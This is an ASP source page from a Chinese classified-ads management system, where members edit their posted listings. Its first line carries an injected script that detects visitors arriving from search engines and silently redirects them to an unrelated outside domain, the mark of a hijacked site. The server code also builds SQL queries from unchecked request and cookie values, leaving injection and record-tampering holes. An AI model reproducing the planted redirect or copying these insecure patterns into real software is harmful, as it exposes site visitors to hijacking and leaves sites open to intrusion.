d:\wwwroot\wuchunhua\informaiton_edit.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/conn.asp"-->
002: <!--#include file="usercookies.asp"-->
003: <!--#include file="inc/kqiqi_sub.asp"-->
004: <!--#include file="inc/function.asp"-->
005: <%
006: '    @@@@@@ www.kqiqi.com @@@@@@@@@@@@@@@@@
007: '   @                                        @
008: '  @                                          @
009: '  @   客齐齐分管理系统,做最好的分类系统。   @
010: '  @                                          @
011: '   @                                        @
012: '    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
013: %
>
014: <html>
015: <head>
016: <meta http-equiv="Content-Language" content="zh-cn">
017: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
018: <title><%=title%>-会员管理中心-修改信息</title>
019: <link href="inc/style.css" rel="stylesheet" type="text/css" />
020: <script language= "JavaScript" src="inc/zoom.js"></script>
021: <script>
022: function loadThreadFollow(t_id,b_id){
023:    var targetImg =eval("document.all.followImg" + t_id);
024:    var targetDiv =eval("document.all.follow" + t_id);
025:   
026:    if ("object"==typeof(targetImg)){
027:       if (targetDiv.style.display!='block'){
028:          targetDiv.style.display="block";
029:         
030:       }else{
031:          targetDiv.style.display="none";
032:       }
033:    }
034: }
035: </script>
036:
037: <SCRIPT language=javascript>
038: <!--
039: function CheckForm()
040: {
041: if(document.myform.class1.value=="")
042:    {
043:        alert("请选择一级分类!");
044:         document.myform.class1.focus();
045:        return false;
046:    }
047: if(document.myform.class2.value=="")
048:    {
049:        alert("请选择二级分类!!");
050:         document.myform.class2.focus();
051:        return false;
052:    }
053: if(document.myform.diqu.value=="选择地区")
054:    {
055:        alert("请您选择地区!");
056:         document.myform.diqu.focus();
057:         return false;
058:    }
059:
060: if(document.myform.leixing.value.length<1)
061:    {
062:        alert("请选择信息类别!");
063:         document.myform.leixing.focus();
064:        return false;
065:    }
066: if(document.myform.biaoti.value.length<3)
067:    {
068:        alert("信息标题没有填写或内容太少!");
069:         document.myform.biaoti.focus();
070:         document.myform.biaoti.select();
071:        return false;
072:    }
073: if(document.myform.memo.value.length>1500)
074:    {
075:        alert("请把信息内容的字数控制在1500以内!");
076:         document.myform.memo.focus();
077:         document.myform.memo.select();
078:        return false;
079:    }
080:
081: if(document.myform.memo.value.length<3)
082:    {
083:        alert("信息内容没有填写或内容太少!");
084:         document.myform.memo.focus();
085:         document.myform.memo.select();
086:        return false;
087:    }
088:   
089: if (document.myform.name.value.length == 0) {
090:       alert("请您填写联系人姓名!");
091:       document.myform.name.focus();
092:       return false;
093:    }
094:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
095:    var errorChar
096:    errorChar = isCharsInBag(myform.name.value,str)
097:    if (errorChar != "" )
098:    {
099:       alert('联系人姓名必须是中文!');
100:       myform.name.focus();
101:       return false;
102:    }
103: function isCharsInBag (s, bag)
104: {
105: var i,c;
106: for (i = 0; i < s.length; i++)
107: {
108: c = s.charAt(i);//字符串s中的字符
109: if (bag.indexOf(c) > -1)
110: return c;
111: }
112: return "";
113: }
114:
115: if(document.myform.name.value.length<2||document.myform.name.value.length>4)
116:    {
117:        alert("联系人姓名不能少于2字多于4字!");
118:         document.myform.name.focus();
119:         document.myform.name.select();
120:        return false;
121:    }
122: if(document.myform.dianhua.value.length<7)
123:    {
124:        alert("请填写您的联系电话,不能小于七位!");
125:         document.myform.dianhua.focus();
126:         document.myform.dianhua.select();
127:        return false;
128:    }
129: if(document.myform.days.value=="选择有效期")
130:    {
131:        alert("请您选择有效期限!");
132:         document.myform.days.focus();
133:         return false;
134:    }
135:
136: }
137: //-->

138: </SCRIPT>
139: <SCRIPT LANGUAGE="JavaScript">      
140: <!-- Begin
141: maxLen = 1500;
142: function checkMaxInput(form) {
143: if (form.memo.value.length > maxLen)
144: form.remLen.value = 0;
145: else form.remLen.value = maxLen - form.memo.value.length;
146: }
147: //  End -->

148: </SCRIPT>
149: </head>
150: <body>
151: <div align="center">
152: <table width="600" cellspacing="0" cellpadding="0">
153: <tr>
154: <td height="2">
155: </td>
156: </tr>
157: </table>
158:
159: <table width="600" bgcolor="#FFFFFF" cellspacing="0" cellpadding="0">
160: <tr>
161: <td>
162: <table width="100%" class="td" cellspacing="0">
163: <tr>
164: <td class="tdt4" width="822" height="25">
165: <p align="center">修改信息</b>
166: </td>
167: </tr>
168: </table>
169: </td>
170: </tr>
171: <tr>
172: <td valign="top">
173: <%
174: username=request.cookies("kqiqi")("username")
175: function fsow(filename)
176: set mfo=Server.CreateObject("Scripting.FileSystemObject")
177: set rtf=mfo.OpenTextFile(server.mappath(filename),1)
178: body=rtf.readall
179: fsow=body
180: end function
181:
182: if request("kqiqi") = "edit" then
183:
184: biaoti=HtmlEncode(request.form("biaoti"))
185: class1=Strint(request.form("class1"))
186: class2=Strint(request.form("class2"))
187: diqu=HtmlEncode(request.form("diqu"))
188: leixing=HtmlEncode(request.form("leixing"))
189: memo=HtmlEncodes(request.form("memo"))
190: 'memo=replace(replace(memo1,chr(13),"<br>"),"   ","&nbsp;")
191: 'memo=replace(replace(memo1,"   ", "&nbsp;"),"<br>",vbCr)
192: tupian=HtmlEncode(request.form("tupian"))
193: name=HtmlEncode(request.form("name"))
194: dianhua=HtmlEncode(request.form("dianhua"))
195: email=HtmlEncode(request.form("email"))
196: qq=HtmlEncode(request.form("qq"))
197: dizhi=HtmlEncode(request.form("dizhi"))
198: sdays=request.form("days")
199: tuijian=request.form("tui")
200:
201: 'fbsj=date()
202: fbsj=now()
203:
204: if username<>"" then
205: set rs=server.createobject("adodb.recordset")
206: if request("comper")="com" then
207: sql = "select * from [kqiqi_shop] where username='"&username&"'"
208: else
209: sql = "select * from [user] where username='"&username&"'"
210: end if
211: rs.open sql,conn,1,3
212: rs("jf")=rs("jf")+3
213: if request("hb")>=1 and rs("hb")>=1 then
214: rs("hb")=rs("hb")-int(request("hb"))
215: end if
216:
217: rs.update
218: rs.close
219: set rs=nothing
220: end if
221:
222: set rs=Server.createObject("adodb.recordset")
223: strsql="select * from kqiqi_info where id="&request("id")
224: rs.open strsql,conn,3,3
225: rs("biaoti")=biaoti
226: rs("class1")=class1
227: rs("class2")=class2
228: rs("diqu")=diqu
229: rs("leixing")=leixing
230: rs("memo")=memo
231: rs("fbsj")=fbsj
232: 'rs("xurl")=filename2
233: rs("tupian")=tupian
234: rs("name")=name
235: rs("dianhua")=dianhua
236: rs("email")=email
237: rs("qq")=qq
238: rs("dizhi")=dizhi
239: rs("tuijian")=tuijian
240: a=request.form("hb")
241: rs("a")=a
242: rs("dqsj")= dateadd("d", sdays, now)
243: rs.update
244: rs.close
245:
246: set rs = Server.CreateObject("ADODB.Recordset")
247: sql="select * from kqiqi_info where id="&request("id")
248: rs.open sql,conn,1,1
249: ip=rs("ip")
250: 'okfile=fsow("categories_mb.html")
251: 'dim ax
252: 'ax=left(rs("xurl"),1)
253: 'file1=server.mappath( "/"&ax&"" )
254: 'XFile2 = rs("xurl")
255: 'XFile=replace(XFile2,""&ax&"/","")
256: 'file2=file1&"\"&XFile
257:
258: 'dim dtime,filename1
259: 'dtime=now()
260: 'filename1=year(now)&month(now)&day(now)&""&id&".html"
261: 'filename2="categories/"&filename1
262: 'file1=server.mappath( "/categories" )
263: 'file2=file1&"\"&filename1
264: 'okfile=fsow("categories_mb.html")
265: 'Conn.Execute("Update kqiqi_info Set xurl='"&filename2&"' where id="&id&"")
266:
267: okfile=fsow("inc/categories_mb.html")
268: dim NewsFile
269: if right(rs("xurl"),4)="html" then
270: ax=left(rs("xurl"),10)
271: file1=server.mappath("/"&ax&"")
272: NewsFile2 = rs("xurl")
273: NewsFile=replace(NewsFile2,""&ax&"/","")
274: else
275: file1=server.mappath("/categories")
276: 'NewsFile=month(now)&day(now)&hour(now)&minute(now)&second(now)&""&rs("id")&".html"
277: 'NewsFile = rs("id")&".html"
278: NewsFile = year(now)&month(now)&day(now)&""&rs("id")&".html"
279: 'NewsFile = "kqiqicms"&""&rs("id")&".html"
280: NewsFile2="categories/"&NewsFile
281: end if
282:
283: file2=file1&"\"&NewsFile
284:
285:
286: set rc=Server.createObject("adodb.recordset")
287: sql="select * from class1 where id ="&class1&""
288: rc.open sql,conn,1,1
289: dim cla1
290: cla1=rc("class1")
291: rc.close
292: set rc=Server.createObject("adodb.recordset")
293: sql="select * from class2 where id ="&class2&" "
294: rc.open sql,conn,1,1
295: dim cla2
296: cla2=rc("class2")
297: rc.close
298:
299: 'set rc=Server.createObject("adodb.recordset")
300: 'sql="select * from kqiqi_info where xurl = '"&filename2&"'"
301: 'rc.open sql,conn,3,3
302: x_id = rs("id")
303:
304: okfile = replace(okfile,"X_ID",x_id)
305: okfile = replace(okfile,"City",city)
306: okfile = replace(okfile,"Class1",cla1)
307: okfile = replace(okfile,"C1url",class1)
308: okfile = replace(okfile,"Class2",cla2)
309: okfile = replace(okfile,"C2url",class2)
310: okfile = replace(okfile,"Diqu",diqu)
311: okfile = replace(okfile,"Leixing",leixing)
312: okfile = replace(okfile,"Biaoti",biaoti)
313: okfile = replace(okfile,"Memo",memo)
314: okfile = replace(okfile,"Adclass1",adclass1)
315: if tupian<>"" and tupian<>"0" then
316: if left(tupian,4)="http" then
317: okfile = replace(okfile,"Tupian",""&tupian&"")
318: okfile = replace(okfile,"TUurl",""&tupian&"")
319: else
320: okfile = replace(okfile,"Tupian","/"&tupian&"")
321: okfile = replace(okfile,"TUurl","/"&tupian&"")
322: end if
323: else
324: okfile = replace(okfile,"Tupian",ad11(0))
325: okfile = replace(okfile,"TUurl",ad11(1))
326: end if
327: okfile = replace(okfile,"Fbsj",fbsj)
328: okfile = replace(okfile,"Name",name)
329: okfile = replace(okfile,"Dianhua",dianhua)
330: if qq<>"" then
331: okfile = replace(okfile,"Qq",qq)
332: else
333: okfile  =  replace(okfile,"Qq","这家伙很懒,没留下QQ。")
334: end if
335: if dizhi<>"" then
336: okfile = replace(okfile,"Dizhi",dizhi)
337: else
338: okfile = replace(okfile,"Dizhi","这家伙很懒,没留下联系地址。")
339: end if
340: if email<>"" then
341: okfile = replace(okfile,"Email",email)
342: else
343: okfile  =  replace(okfile,"Email","这家伙很懒,没留下邮箱。")
344: end if
345: okfile = replace(okfile,"Userip",ip)
346: okfile = replace(okfile,"Title",title)
347: okfile = replace(okfile,"Web",web)
348: okfile = replace(okfile,"Coryright",coryright)
349:
350: Set fso = Server.CreateObject("Scripting.FileSystemObject")
351: Set fout = fso.Createtextfile(file2,true)
352: fout.writeline okfile
353: fout.close
354: sql="update kqiqi_info set xurl = '"&NewsFile2&"', fbsj = '"&fbsj&"' where ID = "&rs("ID")
355: conn.execute(sql)
356:
357:
358: Response.Write "<script language='javascript'>alert('更新成功!');" & "history.back()" & "</script>"
359: else %
> <form action="?kqiqi=edit" name="myform" method="POST"><table width="100%" border="0" cellspacing="0" class="td" cellpadding="0"><tr><td height="26" align="right" width="20%">信息版块:</td><td height="25"><%
360: id=trim(request("id"))
361: username=request.cookies("kqiqi")("username")
362: set rs=server.createobject("adodb.recordset")
363: sql = "select * from kqiqi_info where username='"&username&"' and id="&cstr(id)
364: rs.open sql,conn,1,1
365: if rs.eof then
366: errkqiqi(0)
367: response.end
368: end if
369: class1=rs("class1")
370: class2=rs("class2")
371: biaoti=rs("biaoti")
372: leixing=rs("leixing")
373: diqu=rs("diqu")
374: memo=HTMLEncodex(rs("memo"))
375: tupian=rs("tupian")
376: name=rs("name")
377: email=rs("email")
378: dianhua=rs("dianhua")
379: qq=rs("qq")
380: tuijian=rs("tuijian")
381: rs.close
382: sql = "select * from class2 order by paixu desc"
383: rs.open sql,conn,1,1
384: %
><SCRIPT language = "JavaScript">
385: var onecount;
386: onecount=0;
387: subcat = new Array();
388:         <%
389:         count = 0
390:         do while not rs.eof
391:         %
>
392:         subcat[<%=count%>] = new Array("<%= trim(rs("class2"))%>","<%= trim(rs("class1"))%>","<%= trim(rs("id"))%>");
393:         <%
394:         count = count + 1
395:         rs.movenext
396:         loop
397:         rs.close
398:         %
>
399: onecount=<%=count%>;
400:
401: function changelocation(locationid)
402:     {
403:     document.myform.class2.length = 0;
404:
405:     var locationid=locationid;
406:     var i;
407:     for (i=0;i < onecount; i++)
408:         {
409:             if (subcat[i][1] == locationid)
410:             {
411:                 document.myform.class2.options[document.myform.class2.length] = new Option(subcat[i][0], subcat[i][2]);
412:             }        
413:         }
414:         
415:     }    
416: </SCRIPT>
417: <%
418: sql = "select * from class1 order by paixu desc"
419: rs.open sql,conn,1,1
420: if rs.eof and rs.bof then
421: response.write "请先添加分类。"
422: response.end
423: else
424: %
> <SELECT name="class1" onChange="changelocation(document.myform.class1.options[document.myform.class1.selectedIndex].value)" size="1"><OPTION value="0">==分类==</OPTION><%do while not rs.eof%><OPTION  <%if trim(class1)=cstr(rs("id")) then%>selected<%end if%>  value="<%=trim(rs("id"))%>"><%=trim(rs("class1"))%></OPTION><%
425:         rs.movenext
426:         loop
427:        end if
428:         rs.close
429:         %
></SELECT> <SELECT name="class2"><%
430: sql = "select id,class2 from class2 where id="&cstr(class2)
431: rs.open sql,conn,1,1
432: %
><OPTION  <%if trim(class2)=cstr(rs("id")) then%>selected<%end if%>  value="<%=trim(rs("id"))%>"><%=trim(rs("class2"))%></OPTION><%rs.close%></SELECT><input type="hidden" name="id" size="7" maxlength="6" value="<%=id%>"> </td></tr><tr><%
433: if request.cookies("kqiqi")("com")="" then
434: sql = "select * from [user] where username='"&username&"'"
435: else
436: sql = "select * from [kqiqi_shop] where username='"&username&"'"
437: end if
438: rs.open sql,conn,1,1
439: if rs.eof then
440: response.write "没有找到该用户"
441: response.end
442: end if
443: %
>
444: <td height="26" align="right" width="20%">信息标题:</td>
445: <td height="25"><input type="text" maxlength="4" name="leixing" size="8" value="<%=leixing%>">
446: <input type="text" maxlength="80" name="biaoti" size="42" value="<%=biaoti%>"> <font color="#FF0000">*</font></td>
447: </tr>
448: <tr>
449: <td height="26" align="right" width="20%">信息地区:</td>
450: <td height="25"><%if diqu1="1" then call dix() else call dix1()end if%></td></tr><tr><td height="26" align="right" width="20%">信息内容:</td>
451: <td height="25"><textarea rows="9" name="memo" cols="44" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"><%=memo%></textarea>
452: <BR>
453: *&nbsp;1500字以内&nbsp;目前还可以写
454: <INPUT readonly type=text name=remLen size=4 maxlength=2 value="1500" style="border: 1 solid #888888">
455: 个字
456: <font color="#FF0000">*</font>
457: <img border="0" src="image/plus.gif" width="20" height="20" onmouseover="this.style.cursor='hand'" onclick="sizeContent(5,'memo')" alt="增大输入框">
458: <img border="0" src="image/minus.gif" width="20" height="20" onmouseover="this.style.cursor='hand'" onclick="sizeContent(-5,'memo')" alt="缩小输入框">
459: </td>
460: </tr>
461: <tr>
462: <td height="26" align="right" width="20%">相关图片:</td>
463: <td height="25"><input type="text" name="tupian" size="32" id="tupian" maxlength="200" value="<%=tupian%>">
464: <% if  tupian ="" then
465: response.write "暂无相关图片"
466: end if
467: %
>
468: <span id="followImg1" style="CURSOR: hand" title="选中上传图片" onclick="loadThreadFollow(1,5)">无现成图片,</span>
469: <span id="followImg1" style="CURSOR: hand" onclick="loadThreadFollow(1,5)"><input type="checkbox" name="C3" value="ON"></span>
470: <span id="followImg1" style="CURSOR: hand" title="选中上传图片" onclick="loadThreadFollow(1,5)"><font color="#FF0000">上传图片</font></span>
471:
472: </td>
473: </tr>
474: <tr style="display:none" id="follow1">
475: <td height="26" align="right" width="20%"></td>
476: <td height="26">
477: <iframe name="I1" frameborder="0" width="80%" height="30" scrolling="no" src="uploadinfo.asp"></iframe>
478: </td>
479: </tr>
480: <tr>
481: <td height="26" align="right" width="20%">联系人:</td><td height="25"><input type="text" name="name" size="13" maxlength="20" value="<%=rs("name")%>">
482: <%if request.cookies("kqiqi")("com")<>"" then%>-<input type="hidden" name="comper" value="com">
483: <input type="text" name="com" size="25" maxlength="20" value="<%=rs("com")%>">
484: <%else%>
485: <%end if%>
486: <font color="#FF0000">*</font>
487: </td>
488: </tr>
489: <tr>
490: <td height="26" align="right" width="20%">联系电话:</td>
491: <td height="25"><input type="text" name="dianhua" size="23" maxlength="40" value="<%=rs("dianhua")%>">&nbsp; <font color="#FF0000">*</font></td>
492: </tr>
493: <tr>
494: <td height="26" align="right" width="20%">Email:</td>
495: <td height="25"><input type="text" name="email" size="23" maxlength="40" value="<%=rs("email")%>">&nbsp; <font color="#FF0000">*&nbsp; </font>QQ:<input type="text" name="qq" size="17" maxlength="11" value="<%=rs("qq")%>"></td>
496: </tr>
497: <tr>
498: <td height="26" align="right" width="20%">联系地址:</td>
499: <td height="25"><input type="text" name="dizhi" size="51" maxlength="20" value="<%=rs("dizhi")%>"></td>
500: </tr>
501: <tr>
502: <td height="26" align="right" width="20%"><font face="宋体" size="2">置顶排行:</td>
503: <td height="25"><font face="宋体" size="2">
504: <%hb=rs("hb")%>
505: <%if hb>0 then%>
506: <select name="hb"><option value="0">不使用</option><%for i=1 to hb%><option value="<%=i%>"><%=i%></option><%next%></select>个 <img border="0" src="image/jsq.gif" title="使您的信息排在最前,数字越大越靠前,使用需要花对应个货币" width="15" height="15"> <%else%> <font color="#999999">没有货币,请[联系本站购买货币]吧</font>
507: <%end if%>
508: </td>
509: </tr>
510: <tr>
511: <td height="26" align="right" width="20%">信息有效期:</td>
512:
513: <td height="26" width="73%">
514: <select name="days" size="1">
515: <OPTION value="选择有效期" selected>选择有效期</OPTION>
516:           <OPTION value="7">一星期</OPTION>
517:           <OPTION value="15">半个月</OPTION>
518:           <OPTION value="31">一个月</OPTION>
519:           <OPTION value="61">两个月</OPTION>
520:           <OPTION value="92">三个月</OPTION>
521:           <OPTION value="183">半年</OPTION>
522:           <OPTION value="365">一年</OPTION>
523: </select>
524: </td>
525: </tr>
526:
527: <tr>
528: <td height="26" align="right" width="20%">是否推荐:</td>
529: <td height="25"><%if request.cookies("kqiqi")("vip")=1 then%><input type="radio" value="1" name="tui" title="选中推荐您的信息">推荐 <input type="radio" name="tui" value="0" checked>不推荐<font color="#C0C0C0"><%else%></font><input type="radio" name="tui" value="0" checked>
530: <font color="#ACACAC"><img border="0" src="image/jian.gif" width="15" height="15"></font><font color="#FF0000">您不是VIP会员,不能使用推荐,请联系本站</font><%end if%></td>
531: </tr>
532: <tr>
533: <td height="44" colspan="2" width="531"><p align="center"><input type="submit" onclick="javascript:return CheckForm();" value="提交修改,刷新信息" name="xiu"> <input type="reset" value="重写" name="B2"></td></tr></table></form><%end if%> </td>
534: </tr>
535: </table>
536: </div>
537: </body>
538: </html>
539:
540: